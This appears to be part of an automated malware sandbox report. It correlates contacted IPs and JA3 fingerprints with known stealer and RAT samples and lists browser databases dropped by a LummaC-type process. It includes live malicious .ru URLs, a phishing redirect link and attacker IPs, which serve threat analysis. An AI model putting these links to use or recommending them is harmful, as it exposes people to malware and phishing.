	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.208.16.94
	armv5l.elf	Get hash	malicious	Unknown	Browse	20.82.46.15
	armv7l.elf	Get hash	malicious	Unknown	Browse	23.96.213.168
	splm68k.elf	Get hash	malicious	Unknown	Browse	22.194.19.202
	nklarm7.elf	Get hash	malicious	Unknown	Browse	22.109.0.81
	splarm7.elf	Get hash	malicious	Unknown	Browse	22.194.60.247
	nklarm5.elf	Get hash	malicious	Unknown	Browse	21.74.41.87
	jklspc.elf	Get hash	malicious	Unknown	Browse	40.93.122.151
AKAMAI-ASN1EU	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	184.85.182.130
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	88.221.134.155
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	oiF7u78bY2.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	172.232.216.250
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	7uJ95NO82G.exe	Get hash	malicious	LodaRAT	Browse	172.232.216.250
	nabx86.elf	Get hash	malicious	Unknown	Browse	23.7.216.65
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	184.85.182.130
	[External] 120112 Manual Policies Overview Guide_ 8VM8-WZPT3L-LYH1.eml	Get hash	malicious	Unknown	Browse	23.195.39.65
CLOUDFLARENETUS	http://6p8c.enterszcainmenthub.ru	Get hash	malicious	Unknown	Browse	104.21.68.200
	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.0.231
	d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	datasett.exe	Get hash	malicious	Unknown	Browse	104.26.3.46
	https://tb.ldpdljrr.ru/	Get hash	malicious	Unknown	Browse	104.21.30.230
	installer.msi	Get hash	malicious	Unknown	Browse	172.67.196.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.88.181
	badvbscript.html	Get hash	malicious	Unknown	Browse	1.1.1.1
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	172.67.201.143
	https://u48635528.ct.sendgrid.net/ls/click?upn=u001.9c3qucD-2BQzNTT0bmLRTJr37m0fhz0zdKJtvEO5GYL-2FheRuyVOh-2FQG4V3oBgBPYNynDxn_I1ksFJapfNmw0nKrksu71KTxdlg2CVrjzBUVofCtIEhaWkhL1Pph-2Ffg-2BCFbPvkCL9SX-2Fn-2BNBrku3RcjHS1atB8ladrmemt-2BtQU5680xhgoUl-2FmS0Bdj-2FOfednny-2F-2Bj2bwjjubeRvrpN0J7TGLD3CnNRzymiQOzypjCqxHhzmXtY2EWHJMJBxjl-2FHlyEIekWjEdTpTsRC8R5LaI-2BXF4kV8UeUtXxyFJLbYiR3fqcWt2evvBBECu9MeQj8TLZrmfuTf-2BJQraijp8-2BcIdxf8rnVxjHoJK1lo9-2Bkao444JbRSinVA-2FoUxeuAtdlrITU1Z6gHAn7DLZstY4XJkhkT16-2F2TN4CFt2LQ-2BEh9GWg4EPlocPi8ljTs-2B9D9RVbWdc3s2Vk2VPHSj20oCO3-2FalihBzGJuaYie5tnYaz6wBF3EqNzMXmVqRnMZwSYuGRwSMVhkchytYzt3hUH-2F51IUfn7nuhHUcUbdS8nBYneAMuB2eSDRn8IZzUkExLUascCVn8T9ImEyo0qhVsBPdJjfT9L3qli9clY1N-2BhQXDZgQnsN1Bs9PujeLzem37C62BvWnqPnqvXh5vbcvseiZwTP35DEJysw-3D-3D#mlyon@wc.com	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	wUSt04rfJ0.exe	Get hash	malicious	Quasar	Browse	20.198.119.84
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	20.198.119.84
	gYjK72gL17.exe	Get hash	malicious	Stealc, Vidar	Browse	20.198.119.84
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.119.84
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	20.198.119.84
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	20.198.119.84
	singl6.mp4.hta	Get hash	malicious	LummaC	Browse	20.198.119.84
	hnskdfgjgar22.bat	Get hash	malicious	Abobus Obfuscator, Braodo	Browse	20.198.119.84
	Proforma Invoice.exe	Get hash	malicious	MassLogger RAT	Browse	20.198.119.84
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	20.198.119.84
37f463bf4616ecd445d4a1937da06e19	New PO - Supplier 0202AW-PER2.exe	Get hash	malicious	LodaRAT, XRed	Browse	149.154.167.99 188.245.216.205
	RNEQTT.exe	Get hash	malicious	LodaRAT, XRed	Browse	149.154.167.99 188.245.216.205
	installer.msi	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205
	#U65b0#U5efa #U6587#U672c#U6587#U6863.ps1	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205
	T1#U5b89#U88c5#U52a9#U624b1.0.2.exe	Get hash	malicious	Nitol	Browse	149.154.167.99 188.245.216.205
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.99 188.245.216.205
	installer.msi	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205
	Azygoses125.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.99 188.245.216.205
	Violated Heroine_91zbZ-1.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 188.245.216.205

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\680662\Billion.com	vce exam simulator 2.2.1 crackk.exe	Get hash	malicious	LummaC	Browse
	LVDdWBGnVE.exe	Get hash	malicious	LummaC Stealer	Browse
	eMBO6wS1b5.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	AxoPac.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	fkawMJ7FH8.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc	Browse
	ChoForgot.exe	Get hash	malicious	Vidar	Browse
	94e.exe	Get hash	malicious	Remcos	Browse

Created / dropped Files

C:\ProgramData\IMYUKNY5XBIE\16PP89

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\58YU37

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2680272407768105
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMqSA1LyKOMq+8iP5GDHP/0jMVumE:Kq+n0Jq91LyKOMq+8iP5GLP/0R
MD5:	A24B9AECDB22ACB1A68C21B6F2ABD338
SHA1:	AC6A14792AA01781E21C1DF1776A72B86E99120B
SHA-256:	E6798C6EFE4FB00679922741727CB363956B5E44288E8006788E513981099D1A
SHA-512:	E89615B66B7999600EC6FA5AF31BDBB5D3985A948ABBC44CF3CC8B63B4662C3D4FCFBA3A17A50DDDE4E02B4226ED75D83FD57A940469F8C5A6A37289797BF1AD
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\6XLN7YM7G

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\7YC2NG

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 32768, file counter 2, database pages 9, cookie 0x6, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	0.08436837154972243
Encrypted:	false
SSDEEP:	192:5va0zkVmvQhyn+Zoz679fqlQbGhMHPaVAL23v2:51zkVmvQhyn+Zoz67f
MD5:	BDDB3A7A4643B027E8E743D32B86297D
SHA1:	AACAA39E60FB34908241F75550B1CEDDA50E37D1
SHA-256:	13BC4A6A15651C116209341E97255C67980005927DFD9E91236E2E1517AF97EF
SHA-512:	9A6244248CA636DB12AEC2E56DEAEAA2D62ED8378EA5A1D9947938DA15CA66BC4EDF11BF7CCC92E43734449EBECD03CF538BB61FCF90798DEBFD65098BC2A444
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......z<.{...{.{a{.z.z<z.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\DB1DBA

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\HDJEU3

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IMYUKNY5XBIE\OHVAS2

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\QIWBS2NOP

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IMYUKNY5XBIE\S0RQI5

Download File

Process:	C:\Users\user\AppData\Local\Temp\680662\Billion.com
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\15c66898-1364-46f6-9558-c69f08d6e0f7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46191
Entropy (8bit):	6.0872308975583
Encrypted:	false
SSDEEP:	768:qMkbJrT8IeQc5dKH+ki1zNt9Xi9vVx+DzJ6PRLv9N2aPeCiozJDSgzMMd6qD47uW:qMk1rT8H1KGXi9tD98aPeFoztSmd6qEL
MD5:	0C2F55F2810889C7E4C8ECEF40681771
SHA1:	D96380800C91DC478DBF29FB14C5FE1B9C8361AA
SHA-256:	FFFA8156C8E7892E4242BE478CE4163C0882C1E0643376AFA3E87D0B15893D10
SHA-512:	067F933FDCB416EBA5B04CCA0F5FE3E9D05B903C6B1587AE4F5F8E78093B2DE9E42D77923CBF0D70E8D034051088AFDAF7B8F87416A20204AB96157853177873
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13379538500667114","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"b801fd64-6919-4229-a38a-8914add27428"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1ea36486-44d9-4e4c-914a-2caf7d71c58a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44922
Entropy (8bit):	6.094890164157997
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vV90D0sFLEVKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynEXi9t7KtSmd6qE7lFoC
MD5:	B6486EDCFE7EC256465FBD94C65151CC
SHA1:	6AB9889AA6D83CCFA04862D8E07DDCF31517038B
SHA-256:	3A90483165D0E00667819A4FC2921CD8DEE4CA876BFBA2225E8D5020BED5E26D
SHA-512:	6A051F288452EFCC863D1622BA82F279BB7C1A1F7AD47BCED199CAF09FA4FC12186FFC0AA823C80C77A1E103421CEE6C8984016715004FC82A1F67454B5CF503
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\2e840f67-0a4f-46af-bedb-2e3373b4deb8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.08983633118473
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWjdi1zNtPM8kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynNXkzItSmd6qE7lFoC
MD5:	DC1D934C1906D196754BA8C1310935B9
SHA1:	E8AA09E10D511EB6414BA6A471E4BF46B9BE88B3
SHA-256:	18114B0A45CCB2E3501BEC4CC5B8E733215B1CE8D8E1CAFDF07DAF4E2728C671
SHA-512:	1011B8D60922B8D87A93284803F1ED8D7B898CA55976E3D12B55C6633FBE22B4103CC16DADA99C81B58A235107DF7C310FC2CF2B5CF9D0108ABE030DC2691E9A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\67adee28-dbfd-451a-a632-7017508364e2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44996
Entropy (8bit):	6.095359097095448
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWoBi1zNt9Xi9vVx+DzJ6PRLvKJDSgzMMd6qD47u3+7:+/Ps+wsI7yO4Xi9tDKtSmd6qE7lFoC
MD5:	30F8A61041E3646AC096D9DCA4249891
SHA1:	DADD99A19D333404F4B7C4129CDDB679942FC4CE
SHA-256:	7D4D085D803EAEC035E55BE9761F6DC98E3717CB744C476550A160E4FF46871C
SHA-512:	DC6C139ACD8DFDC5D252BA0F65495AE769ADAF75CD84B767EC973F6A0EF307807F220D95ECD5BC1D51287ABB96B2A9B01650D06F7D881B026437A1A4A8E0EF0B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8c977ee2-efc1-421d-abea-071398d076c1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44930
Entropy (8bit):	6.095030682540709
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWcBi1zNt9Xi9vVxwxNQsPeGKJDSgzMMd6qD47u3+CO:+/Ps+wsI7ynEXi9t0KtSmd6qE7lFoC
MD5:	C5C719D948684AC649D09EBFD8719922
SHA1:	4E4278B3BDFD4A715FE933EE68F70CBC87CF20B9
SHA-256:	912D6E164AF3574D21FBB491572620C055842B1C0241E1C6A5D35964F2E9E2C2
SHA-512:	019A88D2522646436A138D847C37AF1406B493FE869EEFD10AEB83952EFAD7CA2B393A8001AF7B64E9EDA5F695615ABAACF30B6FFBCCBBE753EEF83244B80F0E
Malicious:	false
